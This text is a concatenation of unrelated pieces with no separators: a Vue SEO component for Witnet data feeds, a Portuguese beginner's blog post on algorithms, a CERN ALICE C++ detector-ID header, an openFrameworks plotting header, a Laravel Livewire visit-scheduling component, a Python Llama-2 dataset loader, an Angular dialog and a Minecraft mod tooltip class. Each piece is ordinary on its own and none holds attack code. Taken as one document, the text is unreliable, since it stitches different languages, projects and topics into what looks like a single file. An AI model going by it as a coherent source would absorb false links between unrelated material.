<template> <DataFeedDetails @feed-name="setFeedName" @network="setNetwork" @feed-value="setFeedValue" @feed-date="setFeedDate" /> </template> <script> export default { data() { return { currentFeedName: '', lastResultValue: '', lastResultDate: '', selectedNetwork: '', } }, i18n: { seo: true, }, head() { return { title: `${this.currentFeedName} Witnet Data Feed on ${this.selectedNetwork}`, meta: [ { hid: 'title', name: 'title', content: `${this.currentFeedName} Witnet Data Feed on ${this.selectedNetwork}`, }, { hid: 'description', name: 'description', content: `Last result of ${this.currentFeedName} Witnet Data Feed on ${this.selectedNetwork} is ${this.lastResultValue} at ${this.lastResultDate}`, }, { hid: 'twitter:title', name: 'twitter:title', content: `${this.currentFeedName} Witnet Data Feed on ${this.selectedNetwork}`, }, { hid: 'twitter:description', name: 'twitter:description', content: `Last result of ${this.currentFeedName} Witnet Data Feed on ${this.selectedNetwork} is ${this.lastResultValue} at ${this.lastResultDate}`, }, { hid: 'og:title', property: 'og:title', content: `${this.currentFeedName} Witnet Data Feed on ${this.selectedNetwork}`, }, { hid: 'og:description', property: 'og:description', content: `Last result of ${this.currentFeedName} Witnet Data Feed on ${this.selectedNetwork} is ${this.lastResultValue} at ${this.lastResultDate}`, }, ], } }, computed: { selectedDataFeed() { return this.$store.state.selectedNetwork ? this.$store.state.selectedNetwork[0]?.label : null }, }, methods: { setFeedName(name) { this.currentFeedName = name }, setNetwork(network) { this.selectedNetwork = network }, setFeedValue(value) { this.lastResultValue = value }, setFeedDate(date) { this.lastResultDate = date }, }, } </script>
Tema: Algoritmos, o que é? Onde praticar? Imagem: Se você quer ser um desenvolvedor de sucesso, então desenvolver sua lógica de programação é certamente o primeiro passo que você deve dar. E para desenvolver a lógica de programação é importantíssimo o uso de algoritmos. Algoritmos Independente se você entrou recentemente ou se já está há muitos anos na área de programação, este nome já deve ter tirado o seu sono. Se você já é um desenvolvedor com algum tempo de experiência, talvez você não se lembre tão bem de quando estava começando na área, mas aprender algoritmos pode ser muito frustrante e ao mesmo tempo muito desafiador e, chega um momento que, também pode ser muito prazeroso. Se você está iniciando na área mas já está pensando em desistir, porque não entende este negócio de lógica de programação e acha que não serve para isso: acalme-se. Programar exige um pouco de paciência e muita prática. Você precisa desenvolver sua lógica e raciocínio antes de começar a desenvolver bem, (risos). Mesmo assim se você não gostar muito de lógica de programação fique sabendo que existem outras diversas áreas dentro da tecnologia de informação que não necessitam dela tanto assim e você pode ser dar muito bem. Mas eu recomendo você a desenvolver sua lógica aos poucos, vai ser divertido eu prometo. Afinal o que é um Algoritmo? Em programação, algoritmo é um conjunto de passos para resolver algum problema. É como uma receita de bolo onde precisamos definir os passos corretos para o bolo ficar pronto. O algoritmo é independente de qualquer linguagem de programação, o que faz com que ele possa ser escrito, por exemplo, em um português estruturado para esboçar e resolver problemas e só depois disso ser escrito em alguma linguagem. É claro que cada linguagem de programação tem suas particularidades e é muito importante dominar a fundo a linguagem que você optar para desenvolver, porém o uso da lógica de programação é o primeiro - e importante - passo para resolver problemas. Onde praticar algoritmo e lógica de programação? Se você está fazendo algum curso de programação ou se simplesmente fizer uma busca na internet certamente vai encontrar vários desafios para praticar algoritmos ou lógica de programação independente da linguagem que você mais gosta, se é que você já tem uma. Separei duas plataformas bem legais que independente do nível vai ajudar muito a desenvolver a lógica, praticar formas de resolver problemas e ainda será muito divertido. 1. HackerRank É uma plataforma de desafios de programação. Talvez o mais popular e, inclusive, utilizado até em processos de seleção por aí, é o site https://www.hackerrank.com/ e traz diversos tipos de desafios com diversos níveis de complexidade. Inclusive pode ser resolvido em variadas linguagens de programação como Javascript, Java, Swift, C, C++, SQL, Ruby, Python entre muitas outras. Vale muito a pena conferir. 2. freeCodeCamp A freeCodeCamp é uma organização sem fins lucrativos que consiste em uma plataforma web de aprendizagem interativa. (https://pt.wikipedia.org/wiki/FreeCodeCamp) O site https://www.freecodecamp.org/ é ideal caso o seu principal foco seja a carreira de front-end. Lá você pode encontrar vários tutoriais e desafios em HTML, CSS e JavaScript. Conclusão O objetivo aqui era plantar a sementinha para esse assunto tão importante dentro da área de programação. É claro que existem outras várias plataformas que também pode ajudar a praticacar algoritmos e, inclusive, se você conhece alguma diferente das citadas aqui que goste muito, comente aqui embaixo para mais gente conhecer mais :) Independente do método que você use, o importante é praticar e que seja divertido. Quando mais prática mais fácil o seu cérebro vai se desenvolver para resolver variados tipos de problemas. Obrigado e até o próximo post.
// Copyright CERN and copyright holders of ALICE O2. This software is // distributed under the terms of the GNU General Public License v3 (GPL // Version 3), copied verbatim in the file "COPYING". // // See http://alice-o2.web.cern.ch/license for full licensing information. // // In applying this license CERN does not waive the privileges and immunities // granted to it by virtue of its status as an Intergovernmental Organization // or submit itself to any jurisdiction. /// @brief ALICE detectors ID's, names, masks /// /// @author Ruben Shahoyan, ruben.shahoyan@cern.ch /*! Example of class usage: using namespace o2::Base; DetID det[3] = {DetID(DetID::ITS), DetID(DetID::TPC), DetID(DetID::TRD)}; DetID::mask_t mskTot; for (int i=0;i<3;i++) { printf("detID: %2d %10s 0x%lx\n",det[i].getID(),det[i].getName(),det[i].getMask().to_ulong()); mskTot |= det[i].getMask(); } printf("joint mask: 0x%lx\n",mskTot.to_ulong()); */ #ifndef O2_BASE_DETID_ #define O2_BASE_DETID_ #include <Rtypes.h> #include <array> #include <bitset> #include <cassert> #include <cstdint> #include <type_traits> #include "MathUtils/Utils.h" namespace o2 { namespace detectors { /// Static class with identifiers, bitmasks and names for ALICE detectors class DetID { public: /// Detector identifiers: continuous, starting from 0 typedef std::int32_t ID; static constexpr ID ITS = 0; static constexpr ID TPC = 1; static constexpr ID TRD = 2; static constexpr ID TOF = 3; static constexpr ID PHS = 4; static constexpr ID CPV = 5; static constexpr ID EMC = 6; static constexpr ID HMP = 7; static constexpr ID MFT = 8; static constexpr ID MCH = 9; static constexpr ID MID = 10; static constexpr ID ZDC = 11; static constexpr ID FIT = 12; static constexpr ID ACO = 13; static constexpr ID First = ITS; static constexpr ID Last = ACO; ///< if extra detectors added, update this !!! static constexpr int nDetectors = Last + 1; ///< number of defined detectors typedef std::bitset<nDetectors> mask_t; DetID(ID id) : mID(id) {} DetID(const char* name); DetID(const DetID& src) = default; DetID& operator=(const DetID& src) = default; /// get derector id ID getID() const { return mID; } /// get detector mask mask_t getMask() const { return getMask(mID); } /// get detector name const char* getName() const { return getName(mID); } /// conversion operator to int operator int() const { return static_cast<int>(mID); } // ---------------- general static methods ----------------- /// get number of defined detectors static constexpr int getNDetectors() { return nDetectors; } /// names of defined detectors static constexpr const char* getName(ID id) { return sDetNames[id]; } // detector ID to mask conversion static constexpr mask_t getMask(ID id) { return sMasks[id]; } // we need default c-tor only for root persistency, code must use c-tor with argument DetID() : mID(First) {} private: // are 2 strings equal ? (trick from Giulio) inline static constexpr bool sameStr(char const* x, char const* y) { return !*x && !*y ? true : /* default */ (*x == *y && sameStr(x + 1, y + 1)); } inline static constexpr int nameToID(char const* name, int id) { return id > Last ? id : sameStr(name, sDetNames[id]) ? id : nameToID(name, id + 1); } ID mID = First; ///< detector ID static constexpr const char* sDetNames[nDetectors + 1] = ///< defined detector names { "ITS", "TPC", "TRD", "TOF", "PHS", "CPV", "EMC", "HMP", "MFT", "MCH", "MID", "ZDC", "FIT", "ACO", nullptr }; // detector names, will be defined in DataSources static constexpr std::array<mask_t, nDetectors> sMasks = ///< detectot masks { utils::bit2Mask(ITS), utils::bit2Mask(TPC), utils::bit2Mask(TRD), utils::bit2Mask(TOF), utils::bit2Mask(PHS), utils::bit2Mask(CPV), utils::bit2Mask(EMC), utils::bit2Mask(HMP), utils::bit2Mask(MFT), utils::bit2Mask(MCH), utils::bit2Mask(MID), utils::bit2Mask(ZDC), utils::bit2Mask(FIT), utils::bit2Mask(ACO) }; ClassDefNV(DetID, 1); }; } } #endif
// // Views.h // altaVisualizer // // Created by Jakob Bak on 19/03/16. // // #ifndef Views_h #define Views_h #include <stdio.h> #include "ofUtils.h" #include "ofTrueTypeFont.h" #include "ofGraphics.h" enum plot2D_type { PLOT2D_SCATTER = 0, PLOT2D_LINE = 1 }; enum plot3D_type { PLOT3D_SCATTER = 0, PLOT3D_LINE = 1 }; class plotColors { public: plotColors() { used_colors = 0; colors.push_back(ofColor(255, 0, 0)); // RED colors.push_back(ofColor(0, 255, 0)); // GREEN colors.push_back(ofColor(0, 255, 255)); // CYAN colors.push_back(ofColor(255, 0, 255)); // MAGENTA colors.push_back(ofColor(255, 255, 0)); // YELLOW colors.push_back(ofColor(128, 128, 255)); // LIGHT BLUE colors.push_back(ofColor(255, 128, 128)); // PINK colors.push_back(ofColor(128, 255, 128)); // LIGHT GREEN colors.push_back(ofColor(255, 192, 0)); // ORANGE } ~plotColors(){} ofColor getNewColor() { if(used_colors >= colors.size()) return ofColor(255, 255, 255); else return colors[used_colors++]; } protected: vector<ofColor> colors; int used_colors; }; class View { typedef struct { ofVec2f size; ofVec2f position; string title; ofTrueTypeFont font; string font_name; int font_size; bool using_ttf; ofVec2f title_position; ofColor title_color; ofColor background_color; bool update_view; } view_config_t; public: View(){} View(ofVec2f upperLeftCorner, ofVec2f viewSize, string title = ""); ~View(){} void draw(); void changePosition(ofVec2f upperLeftCorner) { view_config.position = upperLeftCorner; } void changeSize(ofVec2f view_size) { view_config.size = view_size; } void changeBackgroundColor(ofColor color) { view_config.background_color = color; } void changeTitle(string title) { view_config.title = title; } void changeTitlePosition(ofVec2f pos) { view_config.title_position = pos; } void changeTitleFont(ofTrueTypeFont font) { view_config.font = font; } void changeTitleColor(ofColor color) { view_config.title_color = color; } void setConfiguration(view_config_t new_config) { view_config = new_config; } view_config_t getConfiguration() { return view_config; } void setViewUpdate(bool update) { view_config.update_view = update; } protected: view_config_t view_config; }; class ViewTextBox : public View { typedef struct { string text; ofVec2f text_position; ofColor text_color; ofTrueTypeFont text_font; int text_font_size; string text_font_name; bool text_using_ttf; } textBox_config_t; public: ViewTextBox() {} ViewTextBox(ofVec2f upperLeftCorner, ofVec2f size, string text, string title = ""); ~ViewTextBox(){} void draw(); void changeText(string text) { textBox_config.text = text; } void changeFontSize(int size); private: textBox_config_t textBox_config; }; class ViewGraph2D : public View { typedef struct { float xmin; float xmax; float xrange; float ymin; float ymax; float yrange; plot2D_type type; ofColor graph_color; ofColor axis_color; float circle_radius; float line_width; std::vector<float> x_unit_values; std::vector<float> y_unit_values; int xprecision; int yprecision; ofTrueTypeFont text_font; int text_font_size; string text_font_name; bool text_using_ttf; float alpha, beta, bias; } graph2D_config_t; public: ViewGraph2D() {} ViewGraph2D(ofVec2f upperLeftCorner, ofVec2f size, std::vector<ofVec2f> dataSet, plot2D_type type, string title = "[NO TITLE]"); ~ViewGraph2D(){} void draw(); void updateDataSet(std::vector<ofVec2f> dataSet); void changeGraphColor(ofColor color) { graph2D_config.graph_color = color; } void changeAxisColor(ofColor color) { graph2D_config.axis_color = color; } void changeLineWidth(float width) { graph2D_config.line_width = width; } void changeCircleRadius(float radius) { graph2D_config.circle_radius = radius; } void getUnitLines(std::vector<float> * unit_values, int * precision, float min, float max); private: std::vector<ofVec2f> data; graph2D_config_t graph2D_config; }; class ViewRealtimePlotter2D : public View { typedef struct { vector<string> value_type; vector<float> min; vector<float> max; vector<float> range; bool centered; vector<ofColor> graph_color; vector<bool> visible; float graph_time_span; ofColor axis_color; float line_width; ofTrueTypeFont text_font; int text_font_size; string text_font_name; bool text_using_ttf; } RealtimeGraph2D_config_t; public: ViewRealtimePlotter2D() {} ViewRealtimePlotter2D(ofVec2f upperLeftCorner, ofVec2f size, string title = "REALTIME PLOTTER"); ~ViewRealtimePlotter2D(){} void draw(); void updateGraph(); void addDataPoint(string s, float value); int getValueTypeVectorIndex(string value_type); void setTimeSpan(float time_span) { realtime_plotter_config.graph_time_span = time_span; } float getTimeSpan() { return realtime_plotter_config.graph_time_span; } void setGraphsCentered(bool centered) { realtime_plotter_config.centered = centered; } void hideGraph(int value_type); void showGraph(int value_type); void toggleGraphVisibility(int value_type); private: vector<vector<pair<float,float>>> data; vector<vector<ofVec2f>> graph; RealtimeGraph2D_config_t realtime_plotter_config; plotColors pallette; }; class ViewGraph3D : public View { typedef struct { float xmin; float xmax; float xrange; float ymin; float ymax; float yrange; float zmin; float zmax; float zrange; plot3D_type type; ofColor graph_color; ofColor axis_color; float circle_radius; float line_width; std::vector<float> x_unit_values; std::vector<float> y_unit_values; std::vector<float> z_unit_values; int xprecision; int yprecision; int zprecision; ofTrueTypeFont text_font; int text_font_size; string text_font_name; bool text_using_ttf; vector<ofVec3f> curveFittingParameters; float alpha, beta, gamma; } graph3D_config_t; public: ViewGraph3D() {} ViewGraph3D(ofVec2f upperLeftCorner, ofVec2f size, std::vector<vector<ofVec3f>> dataSet, plot3D_type type, string title = "[NO TITLE]"); ~ViewGraph3D(){} void draw(); void updateDataSet(std::vector<vector<ofVec3f>> dataSet); void updateCurveFittingParameters(vector<ofVec3f> parameters) { graph3D_config.curveFittingParameters = parameters; } void changeGraphColor(ofColor color) { graph3D_config.graph_color = color; } void changeAxisColor(ofColor color) { graph3D_config.axis_color = color; } void changeLineWidth(float width) { graph3D_config.line_width = width; } void changeCircleRadius(float radius) { graph3D_config.circle_radius = radius; } void getUnitLines(std::vector<float> * unit_values, int * precision, float min, float max); private: std::vector<vector<ofVec3f>> data; graph3D_config_t graph3D_config; plotColors pallette; }; #endif /* Views_h */
<?php namespace App\Http\Livewire; use Livewire\Component; use App\Models\Visita; use App\Models\Visitante; use App\Models\Periodo; class ListaVisitasJuridica extends Component { //definimos unas variables frontend public $id_visita, $id_visitante, $id_periodo, $nombre, $a_paterno, $a_materno, $dni, $institucion, $telefono, $num_visitantes, $asunto, $fecha, $hora_inicio; public $modal = false; public $fecha_live_wire; public $horarios_libresjuridica; public function render() { $visita = Visita::all(); // dd($visita); $lista_horas_ocupadas = Periodo::where('fecha', '=', $this->fecha_live_wire)->get(); $horarios_totales_mananitas = ['09:00:00', '10:00:00', '11:00:00']; $horarios_totales_tardecitas = ['14:00:00', '15:00:00']; $dayOfWeek = date("l", strtotime($this->fecha_live_wire)); $horarios_ocupados = $lista_horas_ocupadas->pluck('hora_inicio')->toArray(); if ($dayOfWeek === 'Tuesday') { $this->horarios_libresjuridica = array_diff($horarios_totales_mananitas, $horarios_ocupados); } elseif ($dayOfWeek === 'Thursday') { $this->horarios_libresjuridica = array_diff($horarios_totales_tardecitas, $horarios_ocupados); } else { $this->horarios_libresjuridica = ['00:00:00']; } return view('livewire.lista-visitas-juridica', compact('visita', 'lista_horas_ocupadas')); } public function abrirModal() { $this->modal = true; } public function cerrarModal() { $this->modal = false; } public function editar($id) { $visita = Visita::findOrFail($id); $this->id_visita = $id; $this->asunto = $visita->asunto; $this->id_visitante = $visita->visitante_id; $this->id_periodo = $visita->periodo_id; $visitante = Visitante::findOrFail($visita->visitante_id); $periodo = Periodo::findOrFail($visita->periodo_id); $this->nombre = $visitante->nombre; $this->a_paterno = $visitante->a_paterno; $this->a_materno = $visitante->a_materno; $this->dni = $visitante->dni; $this->institucion = $visitante->institucion; $this->telefono = $visitante->telefono; $this->num_visitantes = $visitante->num_visitantes; $this->fecha = $periodo->fecha; $this->fecha_live_wire = $periodo->fecha; $this->hora_inicio = $periodo->hora_inicio; $this->abrirModal(); } public function actualizarjuridica() { Visita::updateOrCreate(['id'=>$this->id_visita], [ 'asunto' => $this->asunto ]); Visitante::updateOrCreate(['id'=>$this->id_visitante], [ 'nombre' => $this->nombre, 'a_paterno' => $this->a_paterno, 'a_materno' => $this->a_materno, 'dni' => $this->dni, 'institucion' => $this->institucion, 'telefono' => $this->telefono, 'num_visitantes' => $this->num_visitantes ]); Periodo::updateOrCreate(['id'=>$this->id_periodo], [ 'fecha' => $this->fecha_live_wire, 'hora_inicio' => $this->hora_inicio, 'hora_fin' => $this->hora_inicio ]); session()->flash('message', $this->id_visita ? '¡Actualización exitosa!' : '¡Alta Exitosa!'); $this->cerrarModal(); // $this->limpiarCampos(); } public function limpiarCampos() { $this->hora_inicio = ''; } }
import os import time import numpy as np import torch from datasets import load_dataset, load_from_disk from transformers import AutoModelForCausalLM, AutoTokenizer from torch.nn.functional import pad from torch.utils.data import DataLoader from typing import Optional, Dict, Sequence import io #import utils import copy import pickle import logging logging.basicConfig(level=logging.INFO) log = logging.getLogger("Llama-70B-Dataset") import random class Dataset(): def __init__(self, model_name=None, total_sample_count=24576, perf_count_override=None, dataset_path=None, device="cpu"): self.model_name = model_name or "meta-llama/Llama-2-70b-chat-hf" self.dataset_path = dataset_path self.max_length = 1024 self.device = device #self.total_sample_count = total_sample_count self.load_tokenizer() self.load_processed_dataset() self.total_sample_count = min(len(self.input_ids), total_sample_count) self.perf_count = perf_count_override or self.total_sample_count def load_tokenizer(self): """ Returns tokenizer """ self.tokenizer = AutoTokenizer.from_pretrained( self.model_name, model_max_length=1024, padding_side="left", use_fast=False,) self.tokenizer.pad_token = self.tokenizer.eos_token def load_processed_dataset(self): if not os.path.isfile(self.dataset_path): log.warn("Processed pickle file {} not found. Please check that the path is correct".format(self.dataset_path)) print("Loading dataset...") import pandas as pd processed_data = pd.read_pickle(self.dataset_path) input_tokens = processed_data['tok_input'] self.input_ids = [] self.input_lens = [] self.attention_masks = [] for ids in input_tokens: input_ids = torch.tensor(ids, dtype=torch.int32).view(1,-1).to(self.device) attn_mask = torch.ones_like(input_ids) self.input_ids.append(input_ids) self.attention_masks.append(attn_mask) self.input_lens.append(input_ids.shape[-1]) print("Finished loading dataset.") def postProcess(self, out_tokens, input_seq_lens=None, query_id_list=None, sample_index_list=None): """ Postprocesses output prediction """ #TODO: Create response object in postProcess(?) """ preds = [] for i in range(out_tokens.shape[0]): #pred = out_tokens[i].reshape(-1).cpu().numpy() # Slice up to original input length as below? input_len = input_seq_lens[i] if input_seq_lens else 0 pred = out_tokens[i, input_len:].reshape(-1).cpu().numpy() preds.append(pred) """ # Everything is padded to max_len (1024), so prune the input and parse to numpy output_seq = out_tokens[:, 1024:].cpu().numpy() assert len(query_id_list) == output_seq.shape[0] # Save outputs if not os.path.exists("run_outputs"): os.makedirs("run_outputs") fname = "q" + "_".join([str(i) for i in query_id_list]) fname = f"run_outputs/{fname}.pkl" with open(fname, mode='wb') as f: d = {"query_ids": query_id_list, "outputs": output_seq} print(f"Saving outputs to {fname}") pickle.dump(d, f) return output_seq def LoadSamplesToRam(self, sample_list): pass def UnloadSamplesFromRam(self, sample_list): pass def __del__(self): pass
import { CommonModule } from '@angular/common'; import { AccountSummaryDto } from './../../core/api-client/generated/varico-api-client/models/index'; import { Component, Inject, OnInit, signal } from '@angular/core'; import { MatButtonModule } from '@angular/material/button'; import { MAT_DIALOG_DATA, MatDialogModule, MatDialogRef } from '@angular/material/dialog'; import { VaricoApiClient } from '@app/core/api-client/varico-api-client'; import { MatTableModule } from '@angular/material/table'; import { MatProgressSpinnerModule } from '@angular/material/progress-spinner'; @Component({ selector: 'app-account-summary-dialog', standalone: true, imports: [CommonModule, MatDialogModule, MatButtonModule, MatTableModule, MatProgressSpinnerModule], templateUrl: './account-summary-dialog.component.html', styleUrl: './account-summary-dialog.component.css' }) export class AccountSummaryDialogComponent implements OnInit { public accountSummary = signal<AccountSummaryDto | undefined>(undefined); public isLoadingAccountSummary = signal<boolean>(true); public displayedColumns: string[] = ['amount', 'category', 'createdAt']; public constructor( private _varicoApi: VaricoApiClient, private _dialogRef: MatDialogRef<AccountSummaryDialogComponent>, @Inject(MAT_DIALOG_DATA) public accountReferenceId: string ) { } public async ngOnInit(): Promise<void> { await this.getAccountSummary(); } public onClose(): void { this._dialogRef.close(); } private async getAccountSummary(): Promise<void> { try { const accSummary = await this._varicoApi.accounts.byAccountReferenceId(this.accountReferenceId).summary.get(); this.accountSummary.update(() => accSummary); } finally { this.isLoadingAccountSummary.update(() => false); } } }
package io.github.yanggx98.immersive.tooltip; import io.github.yanggx98.immersive.tooltip.api.ItemBorderColorProvider; import io.github.yanggx98.immersive.tooltip.api.ItemDisplayNameProvider; import io.github.yanggx98.immersive.tooltip.api.ItemRarityNameProvider; import net.minecraft.item.ItemStack; import net.minecraft.text.Style; import net.minecraft.text.Text; import net.minecraft.util.Formatting; import static io.github.yanggx98.immersive.tooltip.ImmersiveTooltip.MOD_ID; public class TooltipHelper { static final String ITEM_MARK_KEY = MOD_ID + ".mark.item"; static final String FOOD_COMPONENT_MARK_KEY = MOD_ID + ".mark.food"; static ItemRarityNameProvider rarityNameProvider = new DefaultItemRarityNameProvider(); static ItemDisplayNameProvider displayNameProvider = new DefaultItemDisplayNameProvider(); static ItemBorderColorProvider borderColorProvider = new DefaultItemBorderColorProvider(); public static Text getRarityName(ItemStack stack) { return rarityNameProvider.getRarityName(stack); } public static Text getDisplayName(ItemStack stack) { return displayNameProvider.getDisplayName(stack); } public static void setRarityNameProvider(ItemRarityNameProvider provider) { if (provider != null) { rarityNameProvider = provider; } } public static void setDisplayNameProvider(ItemDisplayNameProvider provider) { if (provider != null) { displayNameProvider = provider; } } public static void setBorderColorProvider(ItemBorderColorProvider provider) { if (provider != null) { borderColorProvider = provider; } } private static class DefaultItemRarityNameProvider implements ItemRarityNameProvider { @Override public Text getRarityName(ItemStack stack) { String markKey = MOD_ID + ".rarity." + stack.getRarity().name().toLowerCase(); return Text.translatable(markKey).setStyle(Style.EMPTY.withFormatting(Formatting.GRAY)); } } private static class DefaultItemDisplayNameProvider implements ItemDisplayNameProvider { @Override public Text getDisplayName(ItemStack stack) { return Text.empty().append(stack.getName()).formatted(stack.getRarity().formatting); } } private static class DefaultItemBorderColorProvider implements ItemBorderColorProvider { @Override public int getItemBorderColor(ItemStack itemStack) { Integer color = itemStack.getRarity().formatting.getColorValue(); if (color == null) { color = 0xffffffff; } return color; } } }